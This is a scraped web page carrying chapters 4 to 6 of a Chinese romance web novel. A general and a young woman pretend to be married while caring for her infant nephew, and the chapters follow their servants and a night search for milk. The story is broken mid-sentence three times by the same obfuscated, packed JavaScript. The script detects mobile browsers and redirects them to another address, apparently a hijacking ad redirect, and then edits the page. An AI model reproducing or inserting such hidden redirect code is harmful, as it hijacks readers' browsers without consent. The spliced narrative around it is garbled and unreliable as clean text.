怎料,赵留行心中藏事口未随心,脱口就是一句:“做我的媳妇。” 4. 第 4 章 话刚说一半,赵留行就已经后了悔。 他是眼睁睁看着眼前人被自己吓得一屁股坐回了板凳上。 柳善因怔怔望向他,确信自己没有听错。 她实在不明白哪有人刚见面,上来就要别人做媳妇的?再说适才在门外,难道不只是俩人配合着逢场作的戏吗?这人总不能当真吧! 想到此处,柳善因的眼睛随着心下的诧异越瞪越大,瞪得眼角一阵发酸。 赵留行脸上也跟着多出几分慌乱。 他连忙解释,生怕被眼前人误会自己是什么轻浮之人,“不是的,柳家妹妹你别误会,你千万别误会。我不是那个意思,我也没有那个意思——” 柳善因这会子哪里敢去接茬,她只怕眼前人再提出些更加无礼的要求来。 赵留行说罢打算起身致歉,把事情说个明白。 没成想竟把柳善因惊得往后一仰,眼看着就要从板凳上跌落下去。 可赵留行到底是久经沙场的好身手,瞧他眼疾手快,一把便揪住柳善因的领子,硬生生单手将人拉了回来。 如此,他揪着柳善因的手没顾得上松,就急着开口继续道是:“一切说来话长。但今日在府外的那些事,你应也知晓个大概。我是想……既然事已至此,你不若就暂且与我扮做夫妻。待到有朝一日我摆脱洛阳的这档子事,重返北庭去。我便帮你和孩子,安排个最稳妥的去处。你看如何?” “我看…我看……” 柳善因缩着脖子,不好意思去看眼前人。 她现在就好似赵留行手里拎着的小王八,坐又坐不直,脑袋伸又伸不出来。她只得将眼神盯去眼前人宽厚的胸膛,怯懦懦回复说:“我都听将军的。” 赵留行见柳善因应了声,不知为何跟着松了口气,全然忘记手中还揪着眼前人的衣领。 柳善因试图悄悄脱离,却又害怕自己唯一一身衣裳被扯坏。 她进退两难,忍不住尴尬地小声嘀咕:“能不能先把人放开啊…不是说扮做夫妻来着……” “柳家妹妹说什么?”赵留行垂了眸,没听清眼前人说的话。 “啊?没什么!没什么!”柳善因下意识地抬头看他,就是这么两相对望,叫赵留行总算缓过神来。那府门前的威严与从容全部消散,他这才松了手,于柳善因面前剩下的只有慌乱。 赵留行退后几步,一句话不说就打算转头往外走。 柳善因起身追问:“赵赵将军要去哪?” 赵留行闻之停下脚步心事重重地回头,“我想起还有些事要办。柳……小柳,你累了就休息,桌子上的碗筷待会儿会有女使来收,你不必管。我去去就回,你且带着孩子安心呆着。” “那好,赵赵将军路上慢些。” 柳善因猜不透赵留行此刻在想什么,他不多言,她便只能乖乖点头目送着他跨了门。 - 院外,撞上秦氏对面行来,赵留行如一阵风般路过她的身边,面上写满不悦。这阵势吓得之前还耀武扬威的秦氏,低着头一阵哆嗦,心里更是直呼:看不见我,看不见我。 谁成想赵留行走出四五步,眼瞧着就要跨过院门竟转头调了回来。 赵留行叫了声:“秦氏。” 秦氏脖子一僵,硬着头皮回了句:“三郎君。” 彼之残阳照上东墙,赵留行坚实的背影落在门口的桃树下,秦氏却不敢抬眼看,她听眼前人吩咐道:“夫人一路辛苦。你先去把里屋的碗筷收了,再差人烧些热水伺候夫人更衣。” 秦氏这婆子再揣奸把猾,管家做事上倒是一把好手。这点事难不倒她。 她点头说:“是,三郎君放心,我这就去办。” 可赵留行还是不太放心,便故意补充了句警告的话,“记住,不可苛待。夫人说的话就是本将说的话,若是本将回来听见夫人告状,你也知道会是什么下场——” “老奴明白。”秦氏举目瞧见赵留行蹙眉,赶忙赔笑。 怎料,她在赵留行转身离去前,居然还不忘自己的使命追问道:“天要黑了,三郎君这是打算往哪去?” 赵留行哪里会理会她的问话。 他只警惕地瞥了眼秦氏,就转身从纷纷的飞花中远走。 秦氏在黯淡的天光里望着赵留行离去的背影,心中虽有百般不服,却拿主家没有半点办法。 她敛去目光,一声冷哼便落了地。 - 柳善因蹲在里屋的坐榻前,观摩小侄子熟睡的样子。 她先是好奇地拉了拉孩子柔软的小手,又摸了摸他肉乎的小脚,欢喜的不得了,跟着垂眸盯着小侄子起伏均匀的肚子,她便不由得叹道:“小宝真乖,一路不哭也不闹,惯是睡大觉。现在好了,我们在赵赵将军这里,那些坏人找不到我们,再也不能欺负我们了。” “我呢,会一直保护小宝,地姥娘娘也请保佑我们小宝快快长大吧!” 话音落去,柳善因默默将脑袋抵在坐榻边上。 她将美好的祈愿送去远方,自己就这么歪头趴在愈渐昏暗的房间,不声不响。 她早已记不起,自己有多久未曾这么踏实过了…… “黑灯瞎火,怎么不点灯?” 外头那个刻薄的嗓音,打破了屋内原有的沉寂。 柳善因抬头瞧见今日进门后,那个和赵留行顶嘴的使人忽然出现在身旁,慌张地赶忙起身解释,“我,我不知道引火的东西放在哪,所以就没……” 说话间,秦氏掏出火折引燃案上灯盏,朝柳善因这边晃了两下。 她不说话,只一味地打量。 秦氏心有成见,自然先入为主。她暗骂:“蓬头垢面,灰头土脸,浑身的穷酸气,真不知是从哪跑出来的土包子!也够得上给赵家的郎君做正房?真是滑天下之大稽——他赵老三也是有病,怎么会有人放着金枝玉叶的郡主不娶,偏要和乡野丫头鬼混?当然护军府那一大家子也没跑。家里那么多郎君,怎么就拽着个赵老三不放?害得我也跟着遭殃,有病一个两个全都有病!” 瞧着秦氏平日受了不少夹板气,怨怼横生,竟一股脑全给骂了个遍。 她眼神中的敌意看得柳善因害怕。 柳善因哪里知道自己到底怎么得罪了她,自是也不敢多问,只得等着眼前人先开口说话。 秦氏骂完了,气也舒了。虽说她是不肯承认柳善因这凭白冒出的丫头,来当什么三少夫人,但碍着眼前人有子嗣傍身的份上,她还是不能轻易得罪。 她便重将灯盏搁下,轻言了句:“三郎君吩咐,要让娘子沐浴更衣,长夏已经在前院西边的房间候着了,娘子出院右转便是。” 柳善因听说是赵留行的吩咐,就没推拒。可她挂念着往坐榻瞧了瞧,“那小宝……” 秦氏白了柳善因一眼,转头去到桌前收拾起碗筷。她道:“娘子放心。既然这是我们三郎君的骨血,我们自会稳妥照应。不会懈怠。娘子该做什么,就做什么吧。” “出不了什么事。” 柳善因见她这样说,放下几分心来。 她还是跟往常一样规规矩矩地俯身,生怕给别人添麻烦,“那就麻烦您了,我一定快些回来。” 柳善因语毕一溜烟跑了出去,独独留下秦氏莫名其妙愣在原地。她挑起眉,思量在赵家为奴为婢了几十年,从也没人这样客气地跟她说过话…… - 柳善因慌慌张张去到西屋,刚想抬手叩门,就被里头人听见动静抢了先。名唤长夏的年轻女使,抬眼跟柳善因碰个正着。 她两眼弯弯看向门外略显拘谨的人,恭敬道了声:“您来了。” “长夏娘子,我……是那个…那个……叫我来的。”柳善因与眼前人猛然照面,有些紧张。 长夏却说:“夫人切莫唤我娘子,真是折煞。您唤我长夏就好。” 柳善因点头应了声好,就完全呆愣在了门外。 长夏瞧着她这副模样,忍不住发笑,可她并非嘲笑,单是觉得这突然冒出来的夫人可爱罢了。她转身让路,邀请柳善因进门,“夫人,水已备好,您进来沐浴吧。” 柳善因听着指令做事,生怕有半分差池。 她跨门来到浴池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105982|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,仍是尴尬地站着,不敢轻举妄动。 直到长夏打算伸手为她脱去外衫,才把柳善因吓得躲闪而去,她惶恐:“长夏娘子,我自己来就好,自己来就好!不用麻烦你。” 长夏歪了头,想这夫妻俩还真是如出一辙。 如此叫她不禁想起刚被护军府派到三郎君身边那天,赵留行也是这样百般抗拒。 她饶是伸手碰他一下,赵留行恨不能弹出几米远。 可她做得就是侍奉人的活,三郎君不让侍奉,大抵是男女有别。好不容易盼来了个女主人,怎的也是这般?一个两个都是这样,她还怎么心安理得领下个月的工钱…… “夫人不必觉得麻烦,这本就是我该做的。” “不用不用,真的不用。” 长夏望着柳善因还想试探试探,便在靠近三分后毅然伸手。 没成想,柳善因竟灵活的钻去她身后,趁势把自己脱个精光速速泡进水中,搞得长夏无计可施,也就不再执拗。 长夏站在水边望着水里冒出的半个脑袋,哭笑不得。 她只好俯身拾起地上散落的衣物,同柳善因柔声说:“既是如此,您就在这儿泡着,我先去外头将您的衣裳洗了,有什么需要您大声唤我便是。” 柳善因这会子害羞地憋在水里咕嘟咕嘟冒泡,哪里听得清外头的人说什么。 她只求长夏赶快出门,自己好冒出头来。 可谁知等长夏走后,她这一泡竟是半个多时辰过去…… 廊外蛙鸣呱呱,月影晃晃。 长夏靠在柱子前打瞌睡,脑袋猛地往前一栽把自己惊得半步踉跄。 她拍拍脸,这才恍然想起屋里沐浴的人还没出来。转头听里面没了动静,长夏当即惶惶然破门而入,生怕屋内人溺了水去,却与柳善因四目相对在氤氲的水气里。 “夫人!” 柳善因闻声脸颊绯红,双眼迷蒙望向长夏。 她似有话想说,长夏赶忙闭门靠近,“夫人您怎么这么久也不吱声呢?可吓死我了。您是有什么事吗?您有什么事情尽管和我说。” 柳善因趴在水边,欲言又止。 可她真的不能再这么泡下去了,只好硬着头皮说出自己的窘迫,“那个长夏……我这次出门匆忙,没有带换洗的衣裳。你能借我身衣裳穿吗?等我这身衣裳干了,我一定洗干净还给你!” “原是这样,我还以为是什么大事。当然可以。”长夏没去讥讽新夫人的窘迫,反倒是轻松地应下:“您稍等等,我这就去给您拿——” - 酉时末,柳善因穿着长夏的衣裳从西屋出来,连着给其道了好几声谢,谢的长夏都不知该如何是好了,“夫人夫人,真的没关系。夜里凉,您快回屋去吧,小郎君还在屋里呢。” 柳善因想起小宝点头道别,长夏站在廊下挥了挥手便转头回屋收拾而去。 西屋到寝屋的路,昏暗幽长。夹道尽是桃李。 柳善因就着月光瞧见一熟悉的强壮身影,欢喜着打算上前问候,却因披头散发把来人吓了一跳。 “嘶!大半夜披散着头发作甚——怪吓人的。”赵留行自外头归来,被突然乍现的“女鬼”吓得头皮发麻,面色瞬间变得难看。谁能想到他堂堂个宁远将军,会被吓成这样。 柳善因一听这话觉得自己闯了祸,乖乖垂头站在原地不敢靠近。 赵留行平复罢心情,转头看去那端不语的人,“不过长夏你来的正巧,你去准备一床干净的被褥送到里屋。” 长夏? 合着他是认错人了。 柳善因歪起头不明所以。碰巧这时长夏打西屋出来,她在瞧见赵留行后下意识道了声:“诶?三郎君,您回来了。” 赵留行闻之错愕回眸,头皮又是一阵发麻。 “长夏?” “你在这儿?那这是谁?” 总不能真是鬼吧—— 赵留行这会子哪里还敢回头?他是真怕碰上什么不干净的东西。柳善因却在对面撩起头发,露出那双明亮的杏眼略带歉意道:“赵赵将军,是我……” 5. 第 5 章 “小柳?”长夏在那头看得真切,赵留行当真一秒变了脸。 他茫然看向柳善因,“怎的是你?” 柳善因两步上前,一脸关切,“赵赵将军,是我吓到你了吗?抱歉,我不是故意,我只是想和你打声招呼。” 赵留行面对起眼前这个目光如泉水般清澈的女郎,又岂会轻易承认自己的胆怯?他将掌心的冷汗轻轻掩去背后,故作镇定道:“怎么会?我从不畏惧这些。” 柳善因闻言点头,心下的愧疚散去不少。 她附和了句:“当然,我就说赵赵将军是久经沙场的大将军,怎么会害怕呢。” 柳善因说罢冲着赵留行眯眼笑起,陌生的距离渐渐拉进。 赵留行却心有余悸, 勉强扯出一丝微笑,脊背寒意仍是未消。 长夏立在那端旁观者清,似是看戏般笑而不语。谁料她竟没憋住,叫赵留行听见她那三两声浅笑,转头便斥问了句:“不是叫你去准备?愣着作甚。” “我这就去。”长夏知晓三郎君那虎豹一样的脾气,赶忙告退免生事端。 柳善因在旁看着不敢插嘴,也不敢先行。 赵留行偏等长夏走出视线,才肯转眸同她搭话:“走了,回屋去。” 柳善因嗯了一声,抬脚追着赵留行而去。 寂夜无声,唯是墙角一抹红。路上斑驳的树影照在柳善因眉头,开出春花万重。 她与赵留行局促并肩,却只敢将目光安静落在自己的粗布鞋头。 彼之赵留行负手行路,未曾提及自己今日出门所谓何事,只是在走过院门时轻问:“你怎么穿着长夏的衣裳?” 柳善因没抬头,湿漉漉的头发垂落鬓边。 她下意识拿手拢了拢,“哦,是长夏娘子好心借我穿的。我这次出门除了小宝…什么也没带出来,所以就……” 赵留行没接茬。 他转眸看了柳善因一眼,又不知为何忽而大呼:“什么东西!”给柳善因吓了一激灵。 两个人差点没将彼此绊倒在小径上。 下一刻,柳善因小小的背影抵着赵留行高大的身躯,斗胆往他说的方向看去,竟是两眼茫茫。 “有,有什么东西吗?”柳善因迟疑着开口。 赵留行明明心有余悸,却为了不失自己在柳家妹妹面前的英武形象,眯眼透过柳善因圆圆的头顶往外瞧,居然发现是自己错将树杈看做罗刹,顿时颜面扫地。 他才刚想着怎么为自己找补,就听身前柳善因歪过脑袋冲他单纯道:“赵赵将军,你是在害怕吗?” “……” 赵留行的脸真是比那洛阳的城墙还要厚,他跟着抬起腿便抛下一句:“不,不曾。” - 屋里,秦氏倒也尽心,她自柳善因走后就一直守在坐榻边上没有离开。她左等柳善因不见,右等赵留行不归,急得想去趟茅房的功夫也无。 这会儿瞧见两人前后脚进了屋,秦氏不免白了一眼过去。 她几步走到赵留行面前,躬身道了句:“既然三郎君回来了,老奴就先告退。”便掩着肚子匆匆跑开。 赵留行无言回首,还没搞清楚状况。 秦氏就被后来的柳善因挡住了去路。柳善因抬头撞上秦氏,下意识开口道谢:“不好意思,麻烦您在小宝身边守了这么久,小宝没有闹人吧?” 秦氏现下腹中翻涌,望着柳善因的眉眼更是拧作一团,怎么还能顾得上同眼前人废话。 她便打算自行绕开。 柳善因不明所以,但还是抬脚为其让路。 哪成想,路偏越让越乱,俩人左右忙活半晌,最后竟落得个面面相觑的下场。秦氏眼看出恭之事迫在眉睫,无奈当着赵留行的面扒开眼前人扬长而去,留下柳善因兀自茫然。 秦氏走了,赵留行也累了。 他刚想落座倒茶,一股浓郁的气味就在屋内骤然炸开。 赵留行眉头一紧,霎时从桌前弹起出逃。 柳善因反应总是慢上半拍,直到闻着味道干呕一声,这才匆匆追出屋外。 后来,等长夏抱着被褥哼着小曲迈进院中,却见主家两个双双沉默立在门廊。 长夏纳闷。可抬眼望着屋门大开院中如旧就没去在意,她三两步轻快走过二人身旁,“诶?三郎君和夫人怎么在屋外站着?是在赏月吗?三郎君和夫人还真是好雅兴呀!我把被褥给二位拿来了,都是我前些日子刚晾过的。若是薄了厚了,二位随时吩咐,我再去给二位拿新的——不对,今日的月亮也不圆啊……?” 长夏自说自话,没等柳善因开口劝阻就自顾自跨过了门。 柳善因慌张转头,赵留行却是一脸看戏模样,“你莫管她,她自己会出来。” 果不其然,言落人出。 未过三秒,方才还悠然自得的屋内人,就抱着被褥落荒而来,回到了俩人面前。长夏不由惊愕大呼:“呸呸呸,我的天啊——是小郎君闹肚子了吗?!” “爹娘”两个见状相视一笑,谁也没去拆穿秦氏的难堪,只嗯了一声作罢。 这锅就暂且给小宝背一背吧,谁叫他还不会说话。 - 折腾了这么一圈,赵留行已是困得睁不开眼。 柳善因坐在小宝身旁不解这孩子怎么睡到现在也没醒,可摸来摸去,也摸不出个所以然。 她转眸瞧见赵留行抱起铺上的被褥自觉铺在地上,赶忙起身与之说:“赵赵将军,我还是带着小宝到别处去睡,若是实在没有房间的话,柴房我们也住得。” “哪有夫妻分开睡的?”赵留行说话的方式还是那么直白,叫柳善因一时语塞。 他大抵是察觉到自己说错了话,立刻往回找补,“我没有别的意思,只是那秦氏就是那边派来监视我的。咱们若是第一晚就分房睡,她定会到赵家那边添油加醋一番,到时候又是麻烦。” 赵留行铺好床,一屁股坐在了地铺上。 他为了避嫌故意与柳善因离得远远,一个在东头,一个在西头。 两人对上眼时,赵留行又嘱咐:“你睡时记得将那边的帘子放下。” 柳善因点点头,她晓得赵留行虽然脾气怪了点,但绝对是个正人君子。然她也并非是担忧他的人品,若真的担忧这些她便也不会来,她只是实在不好意思让人家堂堂一个将军睡在地上。 “小柳若无事,你也早些睡吧。”赵留行抖了抖被子,打算就寝。 柳善因却忽然不吭不响上前,一把拽住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105983|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他的被角。 赵留行茫然抬头,被柳善因的动作吓了一跳,他下意识往里拉拉被子,竟又被柳善因生生给拉了回去。 眼前人总不能是对自己有什么非分之想吧… 赵留行这样想。 不过很快,柳善因就打消了他这不切实际的幻想,“赵赵将军不行,我和小宝突然跑来洛阳已经很麻烦你了,怎么住在你家,还能叫你睡在地上呢?这地铺还是让我来睡。” 她原是这个意思。 赵留行见势将被子夺回三分,“无妨,你带着孩子也不方便,我睡地板就好。” 柳善因仍是不肯放手,“没关系的,小宝可以睡在坐榻上,我睡坐榻边上。” 俩人这么来来回回,拉扯了半天也没个头。 闹到最后赵留行忍无可忍,不得不唤出一声:“柳善因!” 柳善因无辜望向赵留行,缓缓撒开了手中的被子,“我在…” 赵留行趁势说:“不若咱们一人一日可行?今日是我,明日再是你。” 一切都是赵留行的缓兵之计,他哪能真叫柳善因睡地上? 若是违背了当初给柳徽的承诺,他倒是怕柳徽大半夜的来寻他。可柳善因却当了真,瞧她欣然应允,俯身帮赵留行掖好被角,就等着明日换自己睡在地上。 “那今日就委屈赵赵将军了。” 柳善因蹲在赵留行面前眨眨眼,赵留行尴尬地往后让了让。他想开口让柳善因回到西边去,却被柳善因打断道:“赵赵将军你不脱了衣服再睡吗?” 赵留行咧了咧嘴,心想:你就这么看着?就是你敢看,我亦不敢脱…… 柳善因全然没有想到这一茬,她只想瞧瞧自己能不能帮得上忙。很显然,也帮不上。赵留行开口解释说:“不了,行军打仗常常以防万一,和衣而眠。习惯了,这毛病改不掉了。” “小柳,你没什么事也回去休息吧。” 柳善因点点头,不再推拒。 她跟赵留行道了声好眠,就转头回到了西面的床铺前。 赵留行亦转过身,和衣而眠。 屋内又落入夜的深沉,柳善因蹑手蹑脚取下布帘上的挂钩打算就寝,怎料仿若冬眠了一整个冬天的娃娃,竟在布帘落下前苏醒,嚎啕大哭起来。 这一声啼哭来的毫无征兆,哭得柳善因慌慌忙忙。她速速上前查看,一是害怕小宝有事,二是担心打扰赵留行休眠,“哦哦我们小宝这是怎的?怎的哭成这样?” 赵留行堪堪睡着闻声不语,他以为孩子单是跟今日在门外那般,哭上一会儿就会止息。 哪知道哭了半晌也不见停。 困意在眼皮里打转,很久之后,赵留行无奈捂着脑袋从地铺上愤怒着醒来。 他问:“大半夜,他哭什么?” 柳善因抱着孩子坐在床边轻声作答:“小宝半日多水米未进,应是饿了……” 赵留行便又言,“饿了,那就喂啊。” 柳善因却磕磕巴巴气急道:“我,我,我也想喂。可我……没奶啊——” 此话一出,屋内一片死寂。 没人再敢多说一句话,只见西边的娘憋红了脸,东边的爹翻下了床。 今夜啊,也注定无眠。 6. 第 6 章 屋门吱呀转,娃娃哭的叫哇哇, 举目可见里头爹娘两个手足无措的窘迫相。 柳善因左右无计可施,便顾不上适才的羞臊抱着小侄子在屋内来回踱步。 赵留行则二话没说出跨出了门。 柳善因听见动静打眼瞧着廊外黑洞洞,忍不住去问:“赵赵将军这么晚了,你这是……” 赵留行的背影在将要燃尽的廊灯下飘忽,尽管他早已疲惫不堪,却还是强硬担着身上那份责任。他哑声说:“总不能叫孩子饿着,我去寻个乳娘回来。” 此刻,当这句话轻飘飘落下,柳善因心中的那块黯淡似是被照亮了般,她没再慌张,也不曾推拒什么,只轻轻道了声:“那便麻烦将军了。” “无妨。”赵留行故作潇洒,快步没进了长夜漫漫。 直到立在门外,现实的死寂却给了他致命一击。赵留行望着空无一人的长街茫然四顾。 彼之,一阵晚风吹过,撩起他单薄衣衫更显凄凉。 他适才话说得倒是好听。 可他个甚至不愿意大半夜去敲秦氏和长夏房门的男人,到底要怎么寻个乳娘回来? 赵留行犯了难。 只是这门都出了,他今晚就是睡大街,也绝不能现在就回头去。于是乎,赵留行在外头思来想去,索性决定先去把风听和吾雷那两个小子拉起来再说—— - 赵留行走后,柳善因站在屋内冲外头看了许久,明明廊外人已经走远,她却迟迟挪不动步子。 恍惚一瞬,她好似在赵留行身上望到了阿兄的影子。 那种只有阿兄能带给他的安稳,她第一次在另一个人身上感受到。她不明白自己缘何会有这种错觉,亦或是……自己从来能得到的只有别人的索取,没有半分尊重可言。 烛火摇曳,晚风用青丝模糊了柳善因的眉眼。 她垂下眸,将手中孩子轻轻晃,她说小宝,“咱们再耐心等待等待,好不好?” - 戌时末了,赵留行的寻找实在太过漫长,孩子这么哭下去也不是办法,柳善因总不能就这么干等着乳娘的来到,她想没有奶水,就先给孩子弄点米汤润润喉也好。 柳善因说干就干,一个人抱着孩子找找寻寻,最终寻到了后院的厨房打算自己动手。 但是都这时辰了,厨房的灯怎么还亮着? 柳善因好奇地从门外张望,正瞧见一厨娘在灶台前鬼鬼祟祟的烧饭。 这么晚府中还有人吃饭吗? 柳善因觉得奇怪,但她没功夫去考虑这些无关紧要的事,眼下的当务之急,是给小侄子喂点东西。 柳善因抬脚刚想登阶问候。 厨娘就在灶火的噼啪里隐约听见几声飘忽的婴儿啼哭,瞬间毛骨悚然,大半夜的闹鬼吗——厨娘此刻跟炸了毛似的随手抄起面杖,哆哆嗦嗦挪去了门前。 下一秒,鼓起勇气闭眼痛击声音来源,面杖哐当一下就砸中了柳善因的脑门。 这力道不大不小,砸得柳善因懵得刚刚好。 “哎呦,好痛好痛好痛。” 是活人的声!? 厨娘赶忙睁开眼,上下一扫眼前这被自己痛击的娇小女郎,彻底傻了眼,这一下比遇见鬼还可怕,她竟把主家的人给打了,她这好不容易寻到的差事还保不保了? 厨娘赶忙笑脸相迎,“您…您是新来的……夫人?” “不管我是谁,你,你也不能打我啊!”柳善因有些委屈。 厨娘惶然收起犯事的面杖,试图掩饰尴尬,“不好意思夫人,真的不好意思。这时辰我听见外头有动静,还以为遇着坏人了。我不是故意去砸您的。我若知道是您,就是把我自己拍晕,也不敢动您分毫。您大人有大量饶了我,不行您就也给我一面杖,可千万别让将军赶我走啊——” 柳善因饶是被邻里偷了锄头都不敢上门讨要的主,这点事她怎么会计较。 她只暗自懊恼着,在厨娘面前腾出一只手揉了揉受伤的脑袋。 厨娘见柳善因不说话,低眉试探了句:“夫人,这么晚了,您抱着小郎君来这儿,小郎君还哭成这样……是有什么事吗?若是我能帮上忙的,您尽管吩咐。” 柳善因一听厨娘开口,终于想起正事来,她随即应声说:“哦,我来是想熬碗米汤。” “米汤?”厨娘疑惑不解,“您想喝怎么不让长夏娘子传声话过来,何必自己亲自跑一趟呢?” 柳善因紧紧抱着小侄子,有些难以启齿。她低下头小声答曰:“不是我喝,是他……” 厨娘歪起头,顺嘴说了句:“小郎君?他不该喝奶吗?” “……” - 这事柳善因花了好大功夫才跟厨娘解释明白,语毕厨娘盯着她平坦的胸膛看了半晌,最后还自顾自地点点头,那意味深长的眼神,叫柳善因不觉驼了驼背。 她想说些什么,但又实在羞得不行难以开口。 厨娘却移开视线望去门外,似乎并没打算去熬什么米汤。 她思量着说:“小郎君喝点米汤怎么行?总得喝点有营养的东西,既然您奶水不够,我记得东边的那户人家前日刚买了只下崽的山羊。咱们去讨些羊奶不就行了!” 厨娘灵机一动,站起身就要开干,惊得柳善因抬手阻拦。 柳善因不似厨娘大大咧咧,她有自己的顾虑重重。她说:“这么晚去打扰人家是不是不太好,再说赵赵将军已经去找乳娘了,我们还是别——” 谁料厨娘压根没等她把话说完,已急匆匆到了门外,还跟她挥手作了别,“哎呀,夫人您就把心放肚子里,这事包在我身上。咱去去就回。” 柳善因哪里好意思人家一人前去,便只好硬着头皮跟了上去,并暂时放弃了那锅米汤,扭头寻羊奶而去。 - 后门打开,厨娘见主家跟了上来,也没多说什么。 厨娘一看就是个直爽性子,瞧她健步如飞。 柳善因在后头似追似赶,这才勉强跟她齐头并进。她看眼前人对自己的事这样上心,也就忘却了她刚才痛击自己的那档子事,转头记下了她的好。 柳善因问厨娘,“我还不知道该怎么称呼你?” 厨娘侧目,“夫人叫我土酥就好。” 柳善因眨眨眼,“土酥?是萝卜的那个意思吗?” “是了。”厨娘撇撇嘴,“我姓白,名唤白土酥。以前女学里的那些家伙们,都叫我白萝卜。都怪我那吝啬老爹,他非说萝卜省钱,物美价廉,以后好养活。结果让我生生被笑话了十几年,真是烦死人了。夫人呢?夫人的爹有没有给您起个好听的名字?” 柳善因如实答曰:“我叫柳善因。” “善因,好好听的名字。夫人的爹真好。”厨娘无意闲谈。 柳善因却嗯了一声,就此无言。 东边的人家不远,但因着天黑,两人也是走上了一段距离。 路上边走,柳善因边嘀咕着待会到邻居家叩门后,应当怎么好声言语请求,若是人家轰赶她们,她们又该如何应对。如此周全周全,柳善因心下总算有了几分底气。 等二人到了门前,柳善因刚想缓口气,土酥就以迅雷不及掩耳之势敲了门。 她倒抬手敲得肆无忌惮,柳善因是生怕待会儿她们被对方打出来。 谁成想,当一位老翁披衣启门,土酥二话不说就喊了声爹,搞得柳善因脑子一懵,居然鬼使神差地也跟着喊了声:“爹,…?” “夫人这就是我那爱财如命,分斤掰两,瘠人肥己的爹,您叫什么啊——”土酥茫然望身后人百思不得其解吗,却不忘把老爹骂个遍。 要不说有其父必有其女。 老翁也没示弱,他在迷迷糊糊瞧清来人是自家那疯丫头之后,根本不容门外人多言,哐当一声关上了门。 土酥回过头,没能抢在关门前挤进去。 她便立刻贴在门上哭喊道:“爹,你得帮帮我啊。这是我们主家交代给我的差事,我迫不得已才来咱家的。这事要是办不好,我可就要被主家撵出来了。这我要是被撵出来,闺女就只能再回咱家的酒楼做工了——爹也不想闺女落得这样的下场吧。” 柳善因闻言瞠目而望。 她不明白土酥家既然住着这么豪华的宅子,甚至还有座酒楼,为什么还要在将军府做个伺候人的厨娘? 一切答案都是后话,土酥没工夫解释,只是一味地请求院内人。 可这些话似乎拿捏住了老翁,他竟在门里直言:“疯妮子,就知道惦记家里的东西,你又要啥!” “就要点羊奶喂孩子。”土酥见好就收,也不管里面人如何说他。 话落声息,柳善因只能听见门内轻微的脚步声,和怀中小宝哭累后的喘息。她问土酥,“这样能行吗?是不是太打扰令尊了,我身上也没带银两,要不然就先拿我的银镯子抵了?” 土酥摆摆手,忙说:“没事夫人,这铁公鸡的东西不要白不要,您只要不怨我适才冒犯打了您就行。” 柳善因笑着应了声:“不碍事的。” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105984|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话间院门又开,只见一个盛着新鲜羊奶的破口陶罐从里头递了出来,“明儿把陶罐给我还回来,若是磕了碰了,疯妮子你得叫他们给我陪十个。” “记着呢,爹早点歇息。”土酥赶忙接过,与之道别。 老翁还是一声不响闭了门。 土酥见怪不怪,捧着陶罐抬脚走上长街,随即扬声道:“走了夫人,小郎君听着哭得都没力气了,咱们快些回去给小郎君煮奶。” 柳善因嗯了一声悄然跟去。 这么走着走着,土酥似乎察觉到了身边人的沉默,她便说:“夫人是不是好奇,我这样的身份,为什么还要在府里做个小厨娘?” 柳善因确实这样想。她点点头,又不敢多问。 土酥倒也坦然,“还不是因为我那老爹——你瞧瞧这破陶罐,再瞧瞧他一个人住那么大个宅子,竟连一个使人都舍不得顾,便知他有多吝啬。我原先是在家里的酒楼做工,可我爹总说给客人准备的东西都被我一人吃了。” “是,我饭量是大了些,但我活也没少做啊。他赶我,叫我去对面的酒楼祸祸他们去。好,我去了。但是没做半个月,人家竟然也叫我去对面酒楼祸祸他们去。” “一个两个都这样,索性我就自己找工,然后就正巧碰到将军这里招厨娘,这一干就是半年,将军从来没有嫌我吃的饭多。因为他从来不过问府中的事,出手也特别阔绰,就好像有钱没地花一样。不像我那一根人参须都要分八次喝的爹。” 土酥说得起劲,全然忘记自己在同将军的枕边人讲话。 完了,全完了。 土酥察觉到不对,赶忙拍了拍自己的嘴巴,“夫人,您不会到将军那去告我的状吧……我吃得是多了那么一点点,但我保证,我真的很用心的在干活!” “不会不会,你今天帮了我,我不会恩将仇报的。”柳善因摇摇头,她想一个小女郎能吃多少?左右都是他们欺负人,说浑话,不能作数当真。 可直到回到厨房瞧见,灶台上炖着一整只被土酥拿来夜宵垫肚的肥鸡,柳善因却彻底陷入沉默。 原来,那些人说的也不全是假话啊。 - 两个人分别在子时刚过一刻,小宝吃过煮沸的羊奶,总算是安稳睡下。柳善因也早已困得睁不开眼,她抱着小宝回到寝屋,转头就倒在铺上一觉睡到天亮。 天刚破晓,辛辛苦苦出门寻觅一夜的赵留行,终在卯时初踏进了家门。 